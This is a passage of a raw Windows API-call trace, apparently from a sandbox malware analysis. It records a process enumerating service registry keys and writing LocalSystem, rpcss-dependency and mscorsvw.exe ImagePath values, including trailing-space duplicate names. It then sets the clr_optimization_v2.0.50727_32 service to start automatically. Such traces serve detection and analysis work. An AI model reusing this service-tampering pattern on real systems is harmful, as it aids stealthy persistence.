0x0 [0259.875] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0259.875] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0259.875] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0259.875] RegCloseKey (hKey=0x80000002) returned 0x0 [0259.875] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0259.875] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0259.875] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0259.875] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0259.875] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0259.875] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0259.875] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0259.876] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0259.876] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0259.876] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.876] RegCloseKey (hKey=0x14c) returned 0x0 [0259.876] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0259.876] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0259.876] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0259.876] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0259.876] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0259.876] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0259.876] RegCloseKey (hKey=0xc4) returned 0x0 [0259.876] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0259.876] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0259.877] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0259.877] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0259.877] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0259.877] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0259.877] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0259.877] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0259.877] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0259.877] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.877] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.877] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.878] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.878] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.878] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.878] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.878] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.878] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.878] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.878] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.878] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.878] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.878] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.879] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.879] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.879] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0259.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0259.879] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0259.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0259.879] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.879] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.879] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.879] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.879] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.879] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.880] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.880] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.880] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.880] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.880] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.880] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.880] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.880] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.880] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.880] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.880] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0259.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0259.881] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0259.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0259.881] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.881] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.881] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.881] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.881] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.881] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.881] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.881] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.881] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.881] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.881] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.882] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.882] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.882] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.882] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.882] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.882] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0259.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0259.882] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0259.882] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.882] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.882] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.883] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.883] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.883] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.883] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.883] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.883] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.883] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.883] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.883] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.883] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.883] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.883] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.884] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.884] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0259.884] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" [0259.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0259.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0259.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.884] LocalFree (hMem=0x7f03d0) returned 0x0 [0259.884] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0259.884] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x2) returned 0x803990 [0259.884] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0259.886] CloseServiceHandle (hSCObject=0x803990) returned 1 [0259.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0259.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0259.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0259.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0259.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0259.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0259.886] RegCloseKey (hKey=0xc4) returned 0x0 [0259.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0259.886] RegCloseKey (hKey=0x150) returned 0x0 [0259.886] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 